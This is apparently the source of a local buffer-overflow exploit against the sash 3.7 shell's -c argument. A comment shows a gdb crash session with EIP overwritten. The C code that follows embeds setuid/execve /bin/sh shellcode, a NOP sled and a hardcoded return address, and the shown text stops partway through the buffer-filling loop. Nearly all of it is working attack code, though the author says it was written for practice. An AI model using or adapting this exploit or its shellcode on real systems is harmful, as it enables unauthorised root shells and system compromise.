/* sash-3.7 buffer overflow in c argyment written by lammat for practice purposes http://grpower.ath.cx lammat@iname.com (gdb) r -c `perl -e 'print "A"x10256'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /sbin/sash -c `perl -e 'print "A"x10256'` warning: shared library handler failed to enable breakpoint Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () */ #include #include #include static char shellcode[]= "\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; #define NOP 0x90 #define LEN 10256 #define RET 0xbfff7770 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* Filling the buffer... */ for (i=0;i